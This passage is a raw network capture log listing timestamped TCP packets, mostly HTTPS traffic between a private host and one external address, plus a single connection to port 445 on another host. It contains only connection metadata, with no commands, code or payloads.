Jul 21, 2022 04:34:44.330646992 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.330661058 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.330691099 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.330696106 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.330724955 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.330832958 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.330868959 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.330924034 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.330935001 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.330974102 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.331000090 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.332096100 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.332190990 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.332278967 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.332365036 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.332757950 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.332784891 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.332849979 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.332863092 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.332900047 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.332905054 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.332910061 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.332940102 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.332987070 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.332993984 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.333000898 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.333024979 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.333028078 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.333070040 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.333089113 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.333107948 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.333110094 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.333151102 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.333187103 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.333426952 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.333507061 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.333648920 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.333684921 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.333724022 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.333740950 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.333751917 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.333781004 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.333827019 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.333898067 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.333988905 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.334024906 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.334064960 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.334080935 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.334094048 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.334119081 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.334649086 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.334673882 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.334733009 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.334745884 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.334765911 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.334798098 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.334810019 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.334851027 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.334862947 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.334887028 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.334913015 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.334917068 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.334944010 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.334970951 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.334999084 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.335011005 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.335031986 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.335053921 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.335057020 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.335066080 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.335067034 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.335094929 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.335134983 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.335138083 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.335201979 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.335242033 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.335266113 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.335602045 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.335634947 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.335680008 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.335686922 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.335705042 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.335714102 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.335735083 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.335738897 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.335799932 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.335814953 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.336132050 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.336163044 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.336165905 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.336191893 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.336215019 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.336224079 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.336230040 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.336257935 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.336277962 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.336312056 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.336329937 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.336359024 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.336375952 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.336389065 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.336400032 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.336452007 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.336464882 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.336466074 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.337584972 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.337618113 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.337686062 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.337701082 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.337729931 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.337752104 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.339427948 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.339526892 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.339581013 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.339608908 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.339685917 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.339708090 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.339724064 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.339831114 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.339865923 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.339891911 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.339911938 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.339924097 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.339927912 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.339973927 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.340012074 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.340017080 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.340177059 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.340210915 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.340255022 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.340267897 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.340284109 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.340290070 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.340312004 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.340317965 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.340353012 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.340384960 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.340708017 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.340742111 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.340785980 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.340797901 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.340831995 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.340853930 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.341255903 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.341279984 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.341340065 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.341353893 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.341383934 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.341408968 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.341574907 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.341603041 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.341651917 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.341665030 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.341684103 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.341695070 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.341695070 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.341717005 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.341722965 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.341783047 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.342577934 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.342890024 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.342921972 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.342967987 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.342987061 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.343014956 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.343036890 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.343368053 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.343401909 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.343539000 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.343559027 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.343575001 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.343650103 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.344136953 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.344162941 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.344224930 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.344238997 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.344265938 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.344288111 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.344575882 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.344604969 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.344650030 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.344666004 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.344671965 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.344686985 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.344702005 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.344711065 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.344769001 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.344783068 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.344805002 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.344821930 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.345463037 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.345494032 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.345541000 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.345558882 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.345583916 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.345602989 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.345793962 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.345819950 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.345864058 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.345870018 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.345884085 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.345930099 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.345957994 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.345963001 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.346261978 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.346295118 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.346345901 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.346359968 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.346394062 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.346412897 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.346465111 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.346534014 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.346668005 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.346693993 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.346735001 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.346744061 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.346765995 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.346769094 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.346791029 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.346796036 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.346838951 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.346854925 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.346879005 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.346898079 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.347012997 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.347044945 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.347086906 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.347103119 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.347129107 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.347147942 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.347245932 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.347318888 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.347629070 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.347711086 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.348548889 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.348582029 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.348637104 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.348675966 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.348687887 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.348695040 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.348707914 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.348726034 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.348732948 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.348795891 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.348819017 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.348886013 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.349359989 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.349435091 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.349495888 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.349515915 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.349558115 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.349570990 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.349587917 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.349654913 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.349678993 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.349708080 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.349733114 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.349771023 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.349787951 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.349797010 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.349828959 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.349860907 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.349867105 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.350002050 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.350370884 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.350400925 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.350447893 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.350462914 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.350486994 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.350505114 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.351026058 CEST	50585	445	192.168.2.6	203.120.72.12
Jul 21, 2022 04:34:44.351106882 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.351129055 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.351207018 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.351217985 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.351233006 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.351274014 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.351300001 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.351304054 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.351332903 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.351370096 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.351378918 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.351399899 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.351418972 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.352103949 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.352132082 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.352184057 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.352197886 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.352236986 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.352257013 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.352376938 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.352408886 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.352453947 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.352471113 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.352627039 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.353705883 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.353727102 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.353802919 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.353817940 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.353851080 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.353868008 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.353905916 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.353938103 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.353976011 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.353979111 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.354017973 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.354027033 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.354047060 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.354077101 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.355220079 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.355324030 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.356010914 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.356034994 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.356103897 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.356120110 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.356147051 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.356220961 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.356514931 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.356538057 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.356595993 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.356611013 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.356637001 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.356657982 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.357064009 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.357084036 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.357140064 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.357151985 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.357186079 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.357202053 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.358541965 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.358632088 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.358690023 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.358716965 CEST	443	50546	80.67.82.211	192.168.2.6
